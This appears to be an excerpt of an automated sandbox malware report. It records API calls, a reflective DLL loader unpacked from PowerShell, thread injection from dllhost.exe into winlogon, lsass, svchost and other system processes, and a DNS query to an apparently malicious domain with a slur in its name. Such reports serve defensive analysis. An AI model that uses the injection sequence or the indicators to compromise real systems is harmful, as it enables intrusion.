Source: C:\Windows\System32\winlogon.exe	Code function: 9_2_00000225DC6484B0 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	9_2_00000225DC6484B0
Source: C:\Windows\System32\winlogon.exe	Code function: 9_2_00000225DC64CD80 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	9_2_00000225DC64CD80
Source: C:\Windows\System32\winlogon.exe	Code function: 9_2_00000225DC678814 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	9_2_00000225DC678814
Source: C:\Windows\System32\winlogon.exe	Code function: 9_2_00000225DC6784B0 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	9_2_00000225DC6784B0
Source: C:\Windows\System32\winlogon.exe	Code function: 9_2_00000225DC67CD80 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	9_2_00000225DC67CD80
Source: C:\Windows\System32\winlogon.exe	Code function: 9_2_00000225DC6A8814 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	9_2_00000225DC6A8814
Source: C:\Windows\System32\winlogon.exe	Code function: 9_2_00000225DC6A84B0 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	9_2_00000225DC6A84B0
Source: C:\Windows\System32\winlogon.exe	Code function: 9_2_00000225DC6ACD80 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	9_2_00000225DC6ACD80
Source: C:\Windows\System32\lsass.exe	Code function: 10_2_00000202C0AE84B0 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	10_2_00000202C0AE84B0
Source: C:\Windows\System32\lsass.exe	Code function: 10_2_00000202C0AE8814 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	10_2_00000202C0AE8814
Source: C:\Windows\System32\lsass.exe	Code function: 10_2_00000202C0AECD80 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	10_2_00000202C0AECD80
Source: C:\Windows\System32\svchost.exe	Code function: 11_2_000002A66130CD80 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	11_2_000002A66130CD80
Source: C:\Windows\System32\svchost.exe	Code function: 11_2_000002A661308814 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	11_2_000002A661308814
Source: C:\Windows\System32\svchost.exe	Code function: 11_2_000002A6613084B0 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	11_2_000002A6613084B0
Source: C:\Windows\System32\dwm.exe	Code function: 14_2_000002BAAED9CD80 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	14_2_000002BAAED9CD80
Source: C:\Windows\System32\dwm.exe	Code function: 14_2_000002BAAED98814 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	14_2_000002BAAED98814
Source: C:\Windows\System32\dwm.exe	Code function: 14_2_000002BAAED984B0 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	14_2_000002BAAED984B0
Source: C:\Windows\System32\dwm.exe	Code function: 14_2_000002BAAEE0CD80 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	14_2_000002BAAEE0CD80
Source: C:\Windows\System32\dwm.exe	Code function: 14_2_000002BAAEE08814 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	14_2_000002BAAEE08814
Source: C:\Windows\System32\dwm.exe	Code function: 14_2_000002BAAEE084B0 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	14_2_000002BAAEE084B0
Source: C:\Windows\System32\dwm.exe	Code function: 14_2_000002BAAEE6CD80 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	14_2_000002BAAEE6CD80
Source: C:\Windows\System32\dwm.exe	Code function: 14_2_000002BAAEE68814 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	14_2_000002BAAEE68814
Source: C:\Windows\System32\dwm.exe	Code function: 14_2_000002BAAEE684B0 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	14_2_000002BAAEE684B0
Source: C:\Windows\System32\cmd.exe	Code function: 15_2_000002512A6E8814 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	15_2_000002512A6E8814
Source: C:\Windows\System32\cmd.exe	Code function: 15_2_000002512A6E84B0 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	15_2_000002512A6E84B0
Source: C:\Windows\System32\cmd.exe	Code function: 15_2_000002512A6ECD80 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	15_2_000002512A6ECD80
Source: C:\Windows\System32\conhost.exe	Code function: 16_2_000001BEB0A384B0 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	16_2_000001BEB0A384B0
Source: C:\Windows\System32\conhost.exe	Code function: 16_2_000001BEB0A38814 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	16_2_000001BEB0A38814
Source: C:\Windows\System32\conhost.exe	Code function: 16_2_000001BEB0A3CD80 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	16_2_000001BEB0A3CD80
Source: C:\Windows\System32\svchost.exe	Code function: 20_2_0000026A879C84B0 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	20_2_0000026A879C84B0
Source: C:\Windows\System32\svchost.exe	Code function: 20_2_0000026A879C8814 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	20_2_0000026A879C8814
Source: C:\Windows\System32\svchost.exe	Code function: 20_2_0000026A879CCD80 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	20_2_0000026A879CCD80
Source: C:\Windows\System32\svchost.exe	Code function: 21_2_00000179537ACD80 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	21_2_00000179537ACD80
Source: C:\Windows\System32\svchost.exe	Code function: 21_2_00000179537A84B0 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	21_2_00000179537A84B0
Source: C:\Windows\System32\svchost.exe	Code function: 21_2_00000179537A8814 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	21_2_00000179537A8814
Source: C:\Windows\System32\svchost.exe	Code function: 21_2_00000179537DCD80 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	21_2_00000179537DCD80
Source: C:\Windows\System32\svchost.exe	Code function: 21_2_00000179537D84B0 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	21_2_00000179537D84B0
Source: C:\Windows\System32\svchost.exe	Code function: 21_2_00000179537D8814 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	21_2_00000179537D8814
Source: C:\Windows\System32\svchost.exe	Code function: 22_2_000002295D56CD80 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	22_2_000002295D56CD80
Source: C:\Windows\System32\svchost.exe	Code function: 22_2_000002295D568814 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	22_2_000002295D568814
Source: C:\Windows\System32\svchost.exe	Code function: 22_2_000002295D5684B0 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	22_2_000002295D5684B0
Source: C:\Windows\System32\svchost.exe	Code function: 23_2_0000025306E684B0 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	23_2_0000025306E684B0
Source: C:\Windows\System32\svchost.exe	Code function: 23_2_0000025306E68814 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	23_2_0000025306E68814
Source: C:\Windows\System32\svchost.exe	Code function: 23_2_0000025306E6CD80 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	23_2_0000025306E6CD80
Source: C:\Windows\System32\svchost.exe	Code function: 23_2_0000025306EC84B0 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	23_2_0000025306EC84B0
Source: C:\Windows\System32\svchost.exe	Code function: 23_2_0000025306EC8814 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	23_2_0000025306EC8814
Source: C:\Windows\System32\svchost.exe	Code function: 23_2_0000025306ECCD80 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	23_2_0000025306ECCD80
Source: C:\Windows\System32\svchost.exe	Code function: 24_2_000001845B3C8814 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	24_2_000001845B3C8814
Source: C:\Windows\System32\svchost.exe	Code function: 24_2_000001845B3C84B0 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	24_2_000001845B3C84B0
Source: C:\Windows\System32\svchost.exe	Code function: 24_2_000001845B3CCD80 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	24_2_000001845B3CCD80
Source: C:\Windows\System32\svchost.exe	Code function: 25_2_000001ADECD484B0 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	25_2_000001ADECD484B0
Source: C:\Windows\System32\svchost.exe	Code function: 25_2_000001ADECD48814 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	25_2_000001ADECD48814
Source: C:\Windows\System32\svchost.exe	Code function: 25_2_000001ADECD4CD80 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	25_2_000001ADECD4CD80
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_000001D5590784B0 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	26_2_000001D5590784B0
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_000001D559078814 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	26_2_000001D559078814
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_000001D55907CD80 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	26_2_000001D55907CD80
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_000001D5590A84B0 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	26_2_000001D5590A84B0
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_000001D5590A8814 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	26_2_000001D5590A8814
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_000001D5590ACD80 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	26_2_000001D5590ACD80
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_000001D5590D84B0 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	26_2_000001D5590D84B0
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_000001D5590D8814 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	26_2_000001D5590D8814
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_000001D5590DCD80 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	26_2_000001D5590DCD80
Source: C:\Windows\System32\svchost.exe	Code function: 29_2_00000241A9EA8814 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	29_2_00000241A9EA8814
Source: C:\Windows\System32\svchost.exe	Code function: 29_2_00000241A9EACD80 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	29_2_00000241A9EACD80
Source: C:\Windows\System32\svchost.exe	Code function: 29_2_00000241A9EA84B0 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	29_2_00000241A9EA84B0
Source: C:\Windows\System32\svchost.exe	Code function: 30_2_000001CD73198814 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	30_2_000001CD73198814
Source: C:\Windows\System32\svchost.exe	Code function: 30_2_000001CD7319CD80 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	30_2_000001CD7319CD80
Source: C:\Windows\System32\svchost.exe	Code function: 30_2_000001CD731984B0 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	30_2_000001CD731984B0

Source: C:\Windows\$nya-onimai2\IfMUlU.exe

Memory allocated: page read and write | page guard

HIPS / PFW / Operating System Protection Evasion

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\System32\svchost.exe

Domain query: iam.nigga.dad

.NET source code references suspicious native API functions

Source: 28.2.powershell.exe.253a5db0000.0.raw.unpack, DLLFromMemory.cs	Reference to suspicious API methods: Win.VirtualAlloc(PtrAdd(pCode, iMAGE_SECTION_HEADER.VirtualAddress), (UIntPtr)sectionAlignment, AllocationType.COMMIT, MemoryProtection.READWRITE)
Source: 28.2.powershell.exe.253a5db0000.0.raw.unpack, DLLFromMemory.cs	Reference to suspicious API methods: Win.LoadLibrary(PtrAdd(pCode, iMAGE_IMPORT_DESCRIPTOR.Name))
Source: 28.2.powershell.exe.253a5db0000.0.raw.unpack, DLLFromMemory.cs	Reference to suspicious API methods: Win.GetProcAddress(intPtr2, PtrAdd(PtrAdd(pCode, intPtr5), 2))
Source: 28.2.powershell.exe.253a5db0000.0.raw.unpack, DLLFromMemory.cs	Reference to suspicious API methods: Win.VirtualProtect(P_0, P_1, P_2, out P_3)

Contains functionality to inject code into remote processes

Source: C:\Windows\System32\dllhost.exe

Code function: 8_2_0000000140002434 CreateProcessW,VirtualAllocEx,WriteProcessMemory,VirtualProtectEx,WriteProcessMemory,VirtualProtectEx,VirtualAlloc,GetThreadContext,WriteProcessMemory,SetThreadContext,ResumeThread,VirtualAllocEx,WriteProcessMemory,VirtualProtectEx,WriteProcessMemory,VirtualProtectEx,VirtualAlloc,Wow64GetThreadContext,WriteProcessMemory,Wow64SetThreadContext,OpenProcess,TerminateProcess,

8_2_0000000140002434

Creates a thread in another existing process (thread injection)

Source: C:\Windows\System32\dllhost.exe	Thread created: C:\Windows\System32\winlogon.exe EIP: DC612EBC	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: C:\Windows\System32\lsass.exe EIP: C0AB2EBC	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 612D2EBC	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: C:\Windows\System32\dwm.exe EIP: AF192EBC	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 87992EBC	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 53772EBC	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 5D532EBC	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 67D2EBC	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 5B392EBC	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: C:\Windows\System32\svchost.exe EIP: EBFD2EBC	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 59042EBC	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: C:\Windows\System32\svchost.exe EIP: A9E72EBC	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 73162EBC	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 4E862EBC	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 473C2EBC	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 6F9D2EBC	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 83BC2EBC	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: C:\Windows\System32\svchost.exe EIP: D3F72EBC	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: C:\Windows\System32\svchost.exe EIP: A4152EBC	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: C:\Windows\System32\svchost.exe EIP: BDF32EBC	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: C:\Windows\System32\svchost.exe EIP: C0262EBC	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: C:\Windows\System32\svchost.exe EIP: C9F32EBC	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 645B2EBC	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 7B2A2EBC	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 4F62EBC	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: DC612EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: C0AB2EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 612D2EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: AEDD2EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 87992EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 53772EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 5D532EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 67D2EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 5B392EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: EBFD2EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 59042EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: A9E72EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 73162EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 4E862EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 473C2EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 6F9D2EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 83BC2EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: D3F72EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: A4152EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: BDF32EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: C0262EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: C9F32EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 645B2EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 7B2A2EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 4F62EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2AB72EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 4ADB2EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: C:\Windows\System32\spoolsv.exe EIP: 1992EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 25DA2EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: DC612EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: C0AB2EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 612D2EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: AEE32EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 87992EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 53772EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 5D532EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 67D2EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 5B392EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: EBFD2EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 59042EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: A9E72EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 73162EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 4E862EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 473C2EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 6F9D2EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: C:\Windows\System32\svchost.exe EIP: F5352EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 83BC2EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: F0D62EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: FFB2EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: C2572EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: D3F72EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 8B8D2EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: A4152EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 66902EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 13EF2EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: BDF32EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 8D572EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 69B42EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: CC742EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 5DA72EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: C0262EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 199D2EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: C9F32EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: F3892EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 3B82EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 645B2EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 40E42EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 7B2A2EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: A6532EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 4F62EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 27BC2EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2AB72EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 7B152EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 621A2EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 4ADB2EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2F482EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 8B4B2EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: C:\Windows\System32\spoolsv.exe EIP: 1992EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 683D2EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 3142EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 25DA2EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2E262EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: C:\Windows\System32\svchost.exe EIP: F5352EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 6C5E2EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: D5932EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: F0D62EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: FC652EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: FFB2EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 78742EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: C2572EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 33B42EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 8B8D2EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 66902EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 8D0A2EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 13EF2EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: AB4C2EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 8D572EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2A642EBC
